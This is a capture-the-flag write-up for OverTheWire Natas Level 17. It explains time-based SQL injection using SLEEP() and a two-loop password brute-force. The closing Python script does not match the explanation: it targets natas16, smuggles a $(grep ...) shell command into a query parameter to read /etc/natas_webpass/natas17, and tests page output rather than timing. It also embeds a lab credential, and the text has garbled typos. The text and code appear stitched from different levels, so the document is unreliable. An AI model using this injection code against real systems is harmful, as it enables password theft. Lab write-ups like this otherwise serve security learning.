We covered time based SQL injection using the sleep function. Time time based SQL injection relies in the response the web application takes to deduce whether there is an injection vulnerability or not. We used a lab scenario from OverTheWire Natas Level 17 that implements a web application which validates whether a user exists or not.. This was part of OverTheWire War Games Natas Level 17
Discovering the Vulnerability
Upon inspecting the source code, I found that the echo
statement, which would normally provide feedback, was commented out. This meant neither error-based nor boolean-based SQL injections would work. Therefore, I had to use a time-based SQL injection. This technique relies on observing the time the web server takes to respond. If I could make the server delay its response based on a condition in my SQL query, I could infer information. The SLEEP()
function in SQL was key here. If a query containing SLEEP(x)
was true, the server would pause for ‘x’ seconds before responding.
Exploitation Strategy
- Initial Test: I constructed a query to check if
natus18
existed AND if its password started with a specific character, and then told the application toSLEEP(10)
if both conditions were true. My first attempt with the letter ‘A’ resulted in an immediate response, indicating the condition was false. Knowing the password (for demonstration purposes), I tested with the correct first character (‘8’) and a sleep duration of 5 seconds. The server indeed took 5 seconds to respond, confirming the conditions were met. Testing with ‘9’ resulted in an immediate response, confirming ‘9’ was not the first character. - Building an Exploitation Script: Since I didn’t know the password, I needed a script to automate the guessing process. The script used the
requests
library and basic authentication. It defined a list of all possible characters (uppercase, lowercase, numbers).- First Loop: This loop iterated through all characters to identify which ones were present in the password. If the server slept for the specified time (e.g., 3 seconds) when a character was tested, that character was added to a
filtered_characters
list. - Second Loop: Knowing the password length was 32 characters, this loop iterated 32 times. In each iteration, it tried characters from the
filtered_characters
list to determine the correct character for that position in the password, again using the time-based technique.
- First Loop: This loop iterated through all characters to identify which ones were present in the password. If the server slept for the specified time (e.g., 3 seconds) when a character was tested, that character was added to a
Execution and Outcome
The script started by identifying the characters that made up the password, though not yet in the correct order. The first loop successfully identified all the characters present in the password. The script then proceeded to find the correct order of these characters to reveal the full password. I then used the obtained password to log into the next level.
Technical Commands
cat /etc/natas_webpass/natas17
(This command was used for demonstration purposes to show the known password fornatas17
, not as part of the exploitation ofnatas18
).- The video showed the execution of a Python script, but the command to run it (e.g.,
python script_name.py
) was not explicitly shown, only the script’s output.
Python Script
#!/usr/bin/python
import requests
chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
exist = ''
password = ''
target = 'http://natas16:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh*@natas16.natas.labs.overthewire.org/'
trueStr = 'Output:\n<pre>\n</pre>'
for x in chars:
r = requests.get(target+'?needle=$(grep '+x+' /etc/natas_webpass/natas17)Fridays')
if r.content.find(trueStr) != -1:
exist += x
print 'Using: ' + exist
print 'All characters used. Starting brute force... Grab a coffee, might take a while!'
for i in range(32):
for c in exist:
r = requests.get(target+'?needle=$(grep ^'+password+c+' /etc/natas_webpass/natas17)Fridays')
if r.content.find(trueStr) != -1:
password += c
print 'Password: ' + password + '*' * int(32 - len(password))
break
print 'Completed!'